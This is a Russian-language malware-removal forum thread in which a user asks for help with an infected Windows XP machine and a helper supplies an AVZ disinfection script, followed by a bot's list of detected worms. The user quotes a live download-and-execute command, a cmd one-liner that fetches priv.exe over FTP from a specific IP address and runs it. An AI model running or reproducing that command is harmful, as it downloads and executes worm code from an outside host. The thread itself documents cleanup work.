Нужна помощь

[omwolf]

наверно сидит зараза

в АВЗ в диспетчере процессов нашел запущен cmd

cmd /k echo open 94.28.169.178 9798 >> ii & echo user 1 1 >> ii & echo get priv.exe >> ii & echo bay >> ii & ftp -n -v -s:ii &del ii &priv.exe|

[light59]

Platform: Windows XP SP1 (WinNT 5.01.2600)

Вы в курсе, что уже давно SP3 вышел.

В AVZ -> файл-> Выполнить скрипт

begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
 QuarantineFile('C:\WINDOWS\System32\priv.exe','');
 QuarantineFile('C:\WINDOWS\Temp\JET7696.tmp','');
 QuarantineFile('C:\WINDOWS\System32\algs.exe','');
 DeleteFile('C:\WINDOWS\System32\algs.exe');
 DeleteFile('C:\WINDOWS\System32\priv.exe');
 DeleteFile('C:\WINDOWS\Temp\JET7696.tmp');
BC_Importall;
 BC_DeleteSvc('Srpclossgr');
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.

Компьютер перезагрузится.
Пришлите карантин согласно правил по ссылке http://virusinfo.info/upload_virus.php?tid=41934
Повторите логи по правилам.

[omwolf]

в курсе (
логи после скрипта

есть еще файл в recycler - он не удалялся, удалил токо после снятия атрибутов
заархивировал его - посмотрите?

[light59]

Давайте. Архив с паролем virus сделайте.

Добавлено через 2 минуты

"Пофиксите" в HijackThis

O2 - BHO: Acronis Popup Blocker - {E24AD748-155E-4254-B674-4EDF86E7E1DF} - (no file)

Жалобы есть?

[omwolf]

этот файл был в автозагрузке.
Сейчас отключено все по мах - работает вроде нормально
Есть одна проблема UserGate периодически грузит проц на 60% - то ли не замечал раньше, то ли ...
не понял куда архив кидать отправляю через запрошенный

гы, сделал rar, не отправляется - хотел извлечь, в zip сделать - уже не извлекается О.О

[CyberHelper]

Статистика проведенного лечения:

• Получено карантинов: 1
• Обработано файлов: 10
• В ходе лечения обнаружены вредоносные программы:
  
  1. c:\windows\system32\algs.exe - Net-Worm.Win32.Kolabc.gbe ( DrWEB: Trojan.Packed.162, BitDefender: Packer.RLPack.D )
  2. c:\windows\system32\priv.exe - Net-Worm.Win32.Kolabc.ekm ( BitDefender: Backdoor.Bot.53562 )